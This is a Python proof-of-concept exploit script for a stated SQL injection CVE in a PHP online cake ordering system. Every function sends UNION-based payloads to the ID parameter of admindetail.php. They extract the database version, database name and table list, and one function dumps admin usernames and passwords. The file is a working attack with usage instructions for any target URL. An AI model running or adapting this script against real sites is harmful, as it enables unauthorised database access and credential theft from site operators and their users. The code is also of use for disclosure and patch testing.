import requests
import sys
# CVE-2025-14652 PoC - SQL Injection in itsourcecode Online Cake Ordering System 1.0
# Target: /admindetail.php?action=edit
def exploit_sqli(target_url, payload):
"""
Exploit SQL injection vulnerability in ID parameter
"""
# Construct malicious URL with SQL injection payload
vuln_url = f"{target_url}/admindetail.php?action=edit&ID={payload}"
try:
response = requests.get(vuln_url, timeout=10)
return response.text
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
def extract_database_version(target_url):
"""
Extract database version using UNION-based injection
"""
# Payload to extract MySQL version
payload = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -"
print(f"[*] Extracting database version...")
result = exploit_sqli(target_url, payload)
if result:
print(f"[+] Database version info retrieved")
return result
def extract_database_name(target_url):
"""
Extract current database name
"""
payload = "1' UNION SELECT NULL,database(),NULL,NULL,NULL-- -"
print(f"[*] Extracting database name...")
result = exploit_sqli(target_url, payload)
if result:
print(f"[+] Database name retrieved")
return result
def extract_tables(target_url):
"""
Extract table names from database
"""
payload = "1' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -"
print(f"[*] Extracting table names...")
result = exploit_sqli(target_url, payload)
if result:
print(f"[+] Tables retrieved")
return result
def extract_admin_credentials(target_url, table_name):
"""
Extract admin credentials from target table
"""
payload = f"1' UNION SELECT NULL,group_concat(username,0x3a,password),NULL,NULL,NULL FROM {table_name}-- -"
print(f"[*] Extracting admin credentials from {table_name}...")
result = exploit_sqli(target_url, payload)
if result:
print(f"[+] Admin credentials retrieved")
return result
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://target.com/cake-ordering-system")
sys.exit(1)
target = sys.argv[1].rstrip('/')
print(f"[*] CVE-2025-14652 - SQL Injection in {target}")
print(f"[*] Target endpoint: /admindetail.php?action=edit&ID=")
# Step 1: Detect vulnerability
print(f"\n[*] Step 1: Testing for SQL injection...")
test_payload = "1' AND '1'='1"
exploit_sqli(target, test_payload)
# Step 2: Extract database info
print(f"\n[*] Step 2: Extracting database information...")
extract_database_version(target)
extract_database_name(target)
# Step 3: Enumerate tables
print(f"\n[*] Step 3: Enumerating database tables...")
extract_tables(target)
print(f"\n[!] Manual verification required to identify admin table name")